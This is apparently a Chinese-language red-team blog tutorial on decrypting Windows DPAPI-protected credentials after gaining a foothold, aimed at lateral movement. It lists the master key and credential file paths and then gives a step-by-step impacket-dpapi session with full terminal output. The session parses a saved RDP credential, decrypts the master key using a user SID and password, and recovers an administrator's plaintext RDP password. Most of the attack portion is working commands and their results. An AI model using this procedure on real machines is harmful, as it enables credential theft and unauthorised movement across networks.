前言

在一台 Windows 机器上立足后,利用 DPAPI 获取本地存储的凭据是一种常见且高效的横向移动手段。尤其是在工作组环境中,每台 Windows 主机都是独立的,横向移动难度较大,此时可以尝试通过 DPAPI 解密凭据,获取更多有效凭据,从而扩大内网控制范围。

DPAPI

DPAPI(数据保护 API)是 Windows 系统的一个内部组件。它允许各种应用程序存储敏感数据。这些数据存储在用户目录中,并由基于用户密码派生的用户专用主密钥进行保护;

通俗的来解释就是:DPAPI 会为每个用户生成一个随机的 Master Key(主密钥),它是用来加解密各种凭据文件(如浏览器保存的密码、RDP 凭据、Credential Manager 条目等)的核心密钥。
由于 Master Key 本身非常敏感,系统会用基于用户登录密码派生出的密钥(也叫 用户加密密钥派生密钥)对 Master Key 进行加密,然后把它安全地存储在Master Key File 的文件里。
因此,如果攻击者获取了用户的明文密码或者 NTLM Hash,就能解锁 Master Key File,从而拿到 Master Key,再进一步解密各种 DPAPI 加密的 Windows 凭据文件,完成横向移动或敏感数据窃取。

1
2
3
4
5
6
master key file存放路径:
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SID

凭据文件存放路径:
C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\

通过凭据管理器或者以命令”cmdkey /list”的方式,可以查看当前机器存在的凭据

利用

在攻防演练中,最常见的场景之一就是已立足的 Windows 主机存储了 RDP 凭据。当用户在使用远程桌面连接(RDP)时,如果勾选了“记住我的凭据”,系统就会将登录凭据以 DPAPI 加密的形式保存在本地。

无论是用于存放已加密凭据的文件,还是保存 Master Key 的文件,默认都属于系统隐藏文件。只有在资源管理器中取消勾选“隐藏受保护的操作系统文件”,或通过命令行使用 dir /a 这类带有显示隐藏文件参数的命令,才能看到它们。

在一次典型的攻防演练场景中,当已立足的 Windows 主机保存了远程桌面连接(RDP)凭据时,可以借助 impacket-dpapi 工具,结合用户密码或 NTLM Hash 对 DPAPI 加密的数据进行解密。下面演示完整流程:

先解析凭据文件,找到所需的 Master Key 标识:

可以看到,该凭据文件使用的 Master Key GUID 是:FD75E2CC-8580-4FD9-B290-386D3873FB54

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/dpapi]
└─$ impacket-dpapi credential -f C383663656F2ED9851FC1510F9E657C8
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[BLOB]
Version : 1 (1)
Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion : 1 (1)
Guid MasterKey : FD75E2CC-8580-4FD9-B290-386D3873FB54
Flags : 20000000 (CRYPTPROTECT_SYSTEM)
Description : 本地凭据数据

CryptAlgo : 00006610 (26128) (CALG_AES_256)
Salt : b'001767347caf4e35ce75297c1158426ace2625301743bf9c894aacbd778dfa26'
HMacKey : b''
HashAlgo : 0000800e (32782) (CALG_SHA_512)
HMac : b'5ce37637ff014eea8cb96c5b5881deabcd741492726a14a60386133a501caf12'
Data : b'4c2df9c9bd1fdc39c15c3fe9027a2f740aec257ad268cb3d006e33c855b9d53c2eae7ffe3caa287a3c581bc54f0910909dc118ec1868beeb4ac97a1e1dda710c8787ddde7a946f057779a92deece2fc6cfbac34e136af705ec2137d969893d5c4b57fb4461aba02f33140581d9be893c7b34d161799a4499ee61865eb8af4d3a4ccb00d326dc119f9e44a96ae28bf75ffdf29b5166ad3a04689f90b273cfbfd22caf612de18e4472a3c2db56739dfc836ba5dbc92c3c2412192164778631f10aa47d897e12162cf0eeb17679d323780d'
Sign : b'd74ac118b63852ae33d644a820a80ed7e330eeb6fed19667e70f1c64080221998e38b177b295e2791d053b0247d64153faa00f6857ae055e1d360c3251af2a01'

Cannot decrypt (specify -key or -sid whenever applicable)

有了 Master Key GUID,就去对应的 Protect\<SID>\ 路径下找到该 Master Key File,解密需要提供用户 SID 和密码(或 Hash):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/dpapi]
└─$ impacket-dpapi masterkey -f fd75e2cc-8580-4fd9-b290-386d3873fb54 -password '123456' -sid S-1-5-21-3082292462-1319426464-2548540947-500
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version : 2 (2)
Guid : fd75e2cc-8580-4fd9-b290-386d3873fb54
Flags : 5 (5)
Policy : 0 (0)
MasterKeyLen: 000000b0 (176)
BackupKeyLen: 00000090 (144)
CredHistLen : 00000014 (20)
DomainKeyLen: 00000000 (0)

Decrypted key with User Key (SHA1)
Decrypted key: 0x0210397d6c3d1c2714f273e329b0f703df3936eff89a0854f32a92948a58683407f41d47e1e05f0e2a6ab921ac14d287eb6508d5bc6aca5f9999c504cc02f9d9

最后使用已解密的 Master Key,对原始凭据文件进行解密:成功拿到账户密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/dpapi]
└─$ impacket-dpapi credential -f C383663656F2ED9851FC1510F9E657C8 -key 0x0210397d6c3d1c2714f273e329b0f703df3936eff89a0854f32a92948a58683407f41d47e1e05f0e2a6ab921ac14d287eb6508d5bc6aca5f9999c504cc02f9d9
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2025-06-06 07:24:21+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=TERMSRV/192.168.55.136
Description :
Unknown :
Username : administrator
Unknown : whoami@pass

更多利用方式见参考。

参考

https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets#dpapi-secrets

https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html